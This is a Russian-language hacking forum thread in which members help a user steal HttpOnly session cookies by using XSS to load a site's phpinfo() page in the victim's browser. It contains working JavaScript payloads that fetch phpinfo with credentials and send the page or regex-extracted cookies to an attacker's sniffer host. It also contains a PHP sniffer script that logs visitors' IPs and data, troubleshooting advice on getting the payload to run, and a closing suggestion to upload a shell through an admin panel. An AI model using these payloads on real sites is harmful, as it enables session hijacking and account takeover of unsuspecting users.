Загрузка кода страницы phpinfo() через xss ( тунель)

Discussion in 'Песочница' started by bazaWT, 10 Apr 2016.

  1. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Появилась идея обойти httponly кукис через страничку phpinfo. Чтобы пользователь зайдя на страничку с xss в фоновом режиме открывал phpinfo() а html код странички отправлялся нам . Может уже кто то реализовал такое ?
     
  2. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    364
    Likes Received:
    62
    Reputations:
    11
    Вот пример, с помощью ajax открывается нужная страница и ее содержимое отсылается на целевой сниферок. Только для снифера нужно разрешить принимать запросы с других доменов (CORS):

    Code:
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange= function() {
    if (xhttp.readyState == 4 && xhttp.status == 200) {
       
            var body = encodeURIComponent(xhttp.responseText);
            xhttp.open("POST", 'http://mysniff.ru/t.php', true)
            xhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
            xhttp.send(body)
           
        }
    };
    
    xhttp.open("GET", "phpinfo.php", true);
    xhttp.withCredentials = true;
    xhttp.send();
    
    Я не знаю как себя будет на практике вести - в боевых условиях не тестил. Но может пригодится.
     
    bazaWT and pas9x like this.
  3. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    надеюсь @psihoz26 меня не покорает за его скрипт)

    Code:
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '//site/phpinfo.php', true);
    xhr.send(null);
    xhr.onreadystatechange = function() {
        if (xhr.readyState == 4) {
            if(xhr.status == 200) { 
                (new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?<td class=\"v\">(.*?)<\/td><\/tr>/m)[1]
            }
        }
    }
     
    _________________________
    bazaWT and t0ma5 like this.
  4. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Спасибо друзья +
     
  5. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1

    Не могу разобратся со скриптом, он должен исполнятся прямо в XSS или можно подгружать с другого домена ? Пробовал подгружать, но на сниф ничего не приходит, Firebug показывает что скрипт подгружается, но следующего этапа - загрузки phpinfo() не показывает . Кроме того в сниф надо что то дописывать? он у меня простенький
    PHP:
    <?
    $snif[] = date("d.m.Y H:i"); // дата
    $snif[] = $_SERVER['REMOTE_ADDR']; // айпишник юзверя
    @$snif[] = $_SERVER['HTTP_REFERER']; // рефер
    @$snif[] = $_SERVER['QUERY_STRING']; // переданные параметру снифферу
    $snif[] = $_SERVER['HTTP_USER_AGENT'];  // агент юзверя =)
    $file "file.txt"// файл в который будут записаны данные
    $s fopen($file,"a+");
    @
    $sa fread ($s,filesize($file));
    $fp fopen($file,"w");
    foreach (
    $snif as $sniffed)
    {
    fwrite($fp,"\n".$sniffed);
    }
    fwrite($fp,"\n");
    fwrite($s,$sa);
    fclose($s);
    fclose($fp);
    ?>
     
  6. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    В любом браузере есть инструменты разработчика, где можно посмотреть ошибки выполнения JS.
     
  7. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Ошибки JS нет , он подгружается из другого домена ( ответ 200) , но в инструментах разработчика нигде не написано что браузер обращается к site.com/info.php
     
  8. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    831
    Likes Received:
    815
    Reputations:
    90
    такое может происходить если куки не распарсились, посмотри вывод phpinfo, там точно есть массив HTTP_COOKIE ?
     
    _________________________
  9. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    364
    Likes Received:
    62
    Reputations:
    11
    Поставь fiddler и посмотри что куда шлется (и шлется ли вообще?). И на своем принимаемом скрипте нужно еще указать:
    Code:
    <?php header("Access-Control-Allow-Origin: *"); ?>
     
  10. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Добавь в начале кода строку "window.onload = function() {", в конце "}". Также укажи протокол в ссылках "http://" или "https://" вместо "//", не все браузеры поддерживают.
    Кроссдоменные запросы отправляться будут, получить ответ нельзя, но это и не нужно в данном случае.
     
  11. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Есть массив
    Протоколы указывал по разному, не хочет работать. . Не понимаю в чем проблемма.
    В XSS вставляю скрипт в таком виде <script>img= new Image();img.src="http://bldfdfdd.125mb.com/22.js"</script> . Может проблемма в src ? В таком виде браузер подгружает скрипт с хостинга, но он не исполняется .
     
  12. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    364
    Likes Received:
    62
    Reputations:
    11
    В вики по-другому написано: "Cross-domain" AJAX requests are forbidden by default because of their ability to perform advanced requests (POST, PUT, DELETE and other types of HTTP requests, along with specifying custom HTTP headers) that introduce many cross-site scripting security issues. CORS defines a way in which a browser and server can interact to determine safely whether or not to allow the cross-origin request." И в общем-то логично, иначе какая это защита от хсс. Вот в этой статье, например: http://hayageek.com/cross-domain-ajax-request-jquery/ в серверных заголовках конкретно указываются, как методы/заголовки разрешены.

    Протестируй у себя через хттп-прокси какой-нибудь и посмотрим, отправляются ли данные на самом деле через xmlhttprequest или нет.
     
  13. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Это шутка? Почему картинка должна исполняться как скрипт?

    Произвольные заголовки запрещены. Обычный POST/GET с дефолтными заголовками отправляется.
    Code:
    var x = new XMLHttpRequest();
    x.open('POST', 'http://anysite/', true);
    x.send('param=value');
     
    #13 M_script, 11 Apr 2016
    Last edited: 11 Apr 2016
    blackbox likes this.
  14. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Я по разному пробовал , <script> src="http://bdkldjf.125mb.com/22.js"</script> так тоже. Но в ответах фаербага и фидлера нету записей что бы передавались данные через xmlhttprequest.
     
  15. Melfis

    Melfis Elder - Старейшина

    Joined:
    25 Apr 2011
    Messages:
    507
    Likes Received:
    105
    Reputations:
    53
    Пояснения по этому коду
    $PARAM1 - локальная урла сайта, на котором xss и на котором ты можешь читать phpInfo: http://xss.com/some_path/php_info.php
    $PARAM2 - сайт с твоим снифером, на который ты "как бы" обращаешься за картинкой и в параметрах запроса указываешь выдранные куки из ответа:
    xhr.responseText - ответ с данными от phpInfo,
    /_COOKIE.*?<td class=\"v\">(.*?)<\/td><\/tr>/m - регулярка, которая выдёргивает куки из ответа.

    В итоге именно этот скрипт с изменёнными под тебя $PARAM12 должен выполняться на стороне браузера.
     
  16. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,325
    Likes Received:
    1,199
    Reputations:
    252
    Копирайтов еще не хватает, здесь же столько кода :)
     
    Fepsis likes this.
  17. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    на код просмотрите еще раз
     
    _________________________
    KIR@PRO likes this.
  18. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    <script src="http://site.com/script.js"></script>
     
    bazaWT and KIR@PRO like this.
  19. bazaWT

    bazaWT New Member

    Joined:
    19 Mar 2016
    Messages:
    42
    Likes Received:
    0
    Reputations:
    1
    Мужики подскажите, застопорился с этим скриптом . Он изымает куки с phphinfo , но только одну строчку . Гдето в регулярке проблема .
    Code:
    new Image()).src="//%сниффер%/?"+xhr.responseText.match(/_COOKIE.*?<td class=\"v\">(.*?)<\/td><\/tr>/m)[1]
            }
    Но не пойму где , пробовал без нее, чисто текст , так вобще не передается на снифер .
     
  20. ol1ver

    ol1ver Active Member

    Joined:
    22 Jul 2011
    Messages:
    241
    Likes Received:
    152
    Reputations:
    0
    Из вышесказанного, получается даже можно шелл залить?(опред. cms), зная какой post запрос слать(загрузка файла в админке в дефолт директорию)
     
Loading...